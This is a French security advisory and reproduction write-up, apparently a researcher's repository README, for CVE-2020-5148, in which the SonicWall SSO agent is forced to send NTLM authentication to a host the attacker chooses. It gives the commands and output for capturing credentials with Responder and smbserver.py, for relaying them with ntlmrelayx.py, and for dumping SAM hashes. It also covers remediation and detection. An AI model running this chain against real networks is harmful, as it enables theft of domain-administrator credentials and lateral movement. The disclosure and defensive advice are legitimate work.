CVE-2020-5148

Authentification forcée dans l'agent SSO SonicWall UTM

L'agent SSO SonicWall identifie l'utilisateur derrière une adresse IP donnée en sondant ce poste de travail avec NetAPI (par défaut) ou WMI. Il ne valide pas le poste de travail avant d'initier l'authentification NTLM et continue d'interroger la même adresse pendant toute la durée de la session.

Étant donné que le service de l'agent SSO nécessite des droits d'administration sur chaque poste de travail et serveur qu'il sonde, il est déployé en pratique en tant qu'administrateur de domaine. Par conséquent, toute partie non authentifiée qui peut router le trafic web à travers l'appliance UTM peut amener un compte administrateur de domaine à s'authentifier sur un hôte de son choix, puis capturer ou relayer cette authentification.

Publié sous la référence CVE-2020-5148, avis du fournisseur SNWLID-2021-0003.

Découvert et signalé par Sedric Louissaint de Show Up Show Out Security.

Résumé

Description du NVD :

La configuration par défaut de l'agent SSO SonicWall utilise NetAPI pour sonder les adresses IP associées dans le réseau ; cette méthode de sondage client permet à un attaquant potentiel de capturer le hash du mot de passe.

Détail technique

Le flux prévu et les deux étapes qu'il omet

1. Le trafic d'un utilisateur atteint l'appliance UTM SonicWALL.
2. L'appliance envoie l'IP de l'utilisateur à l'agent SSO sous forme de « User Name Request ». Les paquets bloqués sont mis en attente.
3. L'agent SSO répond avec le nom d'utilisateur connecté sur ce poste de travail.
4. LDAP ou la base de données locale résout l'appartenance aux groupes.
5. La politique est appliquée et le trafic mis en attente est libéré.
6. L'appliance continue d'interroger l'agent SSO pour confirmer que le même utilisateur est toujours connecté.

Les annotations indiquent ce que le schéma du fournisseur omet :

• Étape 2,5 L'agent SSO doit s'authentifier auprès du poste de travail avant de pouvoir l'interroger. Il s'agit d'une négociation NTLM sortante, vers une adresse fournie par celui qui a généré le trafic, sans validation préalable de cette adresse.
• Étape 5,5 L'agent répète cette authentification à chaque interrogation, pendant toute la durée de la session. L'intervalle d'interrogation est configurable dans l'interface graphique.

Contexte de privilège

Le service de l'agent SSO nécessite des droits d'administrateur sur tous les postes de travail et serveurs associés pour effectuer l'interrogation. Dans pratiquement tous les déploiements, cela signifie que le compte de service est administrateur de domaine.

La qualification transmise à un hôte non validé est donc le compte le plus privilégié de l'annuaire.

Le déclencher

Il n'y a pas de code d'exploitation. Toute requête web sortante provenant d'un segment géré par l'appliance est suffisante :

curl sonicwall.com

L'URL est sans importance et la requête n'a pas besoin de réussir. L'appliance observe le trafic provenant d'une IP non reconnue, demande à l'agent SSO d'identifier l'utilisateur sur cette adresse, et l'agent s'authentifie auprès de cette IP.

Capture de l'identifiant

Avec Responder ou smbserver.py à l'écoute, l'authentification NTLMv2 de l'agent arrive sans sollicitation, et continue d'arriver en raison du comportement d'interrogation :

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<compte privilégié>
[SMB] NTLMv2-SSP Hash     : ...

Relais

Le craquage est facultatif. Lorsque la signature SMB n'est pas appliquée, l'authentification peut être relayée en direct vers un autre hôte, qui traite alors la connexion comme le compte privilégié qu'elle semble être :

ntlmrelayx.py -t <cible> -smb2support -of <sortie>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<utilisateur> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

L'authentification est déclenchée par une requête web non authentifiée et consommée sur une machine totalement différente, ce qui constitue le contournement complet de la liste de contrôle d'accès décrit dans l'avis.

Reproduction

Dans un laboratoire que vous possédez ou que vous êtes autorisé à tester, avec une appliance UTM configurée pour le SSO et l'agent SSO utilisant la méthode de sondage client NetAPI par défaut :

1. Démarrez un écouteur sur un hôte situé dans un segment géré par l'appliance :
   root@kitploit:~

   sudo responder -I <interface>
   # ou
   sudo smbserver.py c . -smb2support
   

2. Depuis ce même hôte, générez tout trafic web sortant via l'appliance :
   root@kitploit:~

   curl sonicwall.com
   

3. Une configuration vulnérable produit une authentification NTLMv2 entrante depuis le compte de service de l'agent SSO en quelques secondes. Attendez, et cela se répète, en raison de l'interrogation.
4. Optionnellement, relayez plutôt que de capturer, vers un hôte dont la signature SMB est désactivée :
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-hôte> -smb2support -of relayed
   

Séquence complète des commandes dans poc/repro.sh.

Contenu du dépôt

poc/
  repro.sh       Commandes d'écoute, de déclenchement et de relais, commentées, sans danger à lire en premier
  notes.md       Pourquoi NetAPI déclenche ceci, ce que change WMI, conseils de détection
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Les noms d'utilisateur, les hashes et les adresses internes dans les captures sont masqués ou proviennent du laboratoire d'origine.

Remédiation

1. Passer le sondage client de NetAPI à WMI. Il s'agit de la solution de contournement documentée par le fournisseur et du changement le plus rapide et le plus significatif.
2. N'utilisez pas un compte pouvant se connecter partout pour exécuter l'agent SSO. N'autorisez pas l'administrateur à se connecter via le service de l'agent SSO, le contrôleur de domaine, le serveur Exchange ou le serveur terminal. Si le compte doit rester privilégié, utilisez un mot de passe suffisamment long pour que le craquage hors ligne ne soit pas réaliste, vingt caractères ou plus, jamais réutilisé.
3. Mettez à niveau le Directory Services Connector. Le NVD mentionne le correctif dans la version 4.1.19. Notez que lors des tests du chercheur, les versions 4.1.19 et ultérieures présentaient toujours le comportement de sondage sous-jacent et affichaient un avertissement plutôt que de le supprimer. Un avertissement n'est pas un contrôle, considérez donc le passage à WMI et le durcissement du compte comme la véritable atténuation.
4. Appliquez la signature SMB sur l'ensemble du parc. Cela n'empêche pas la capture de l'identifiant, mais cela supprime l'option de relais.
5. Envisagez la protection étendue pour l'authentification sur les services qui la prennent en charge et restreignez le SMB sortant au périmètre.
6. Détectez-le. Les tentatives d'authentification du compte de service de l'agent SSO vers des hôtes qui ne sont pas des postes de travail gérés constituent un événement fort. De même, l'authentification de ce compte vers une adresse qui n'a jamais figuré dans l'inventaire.

Chronologie

Articles

• Compte personnel : https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security : https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

Avertissement

Publié après divulgation au fournisseur, à des fins défensives et éducatives. Il n'y a pas de code d'exploitation ici parce qu'aucun n'est nécessaire, c'est le but de la découverte. N'exécutez pas ces commandes sur des réseaux que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test.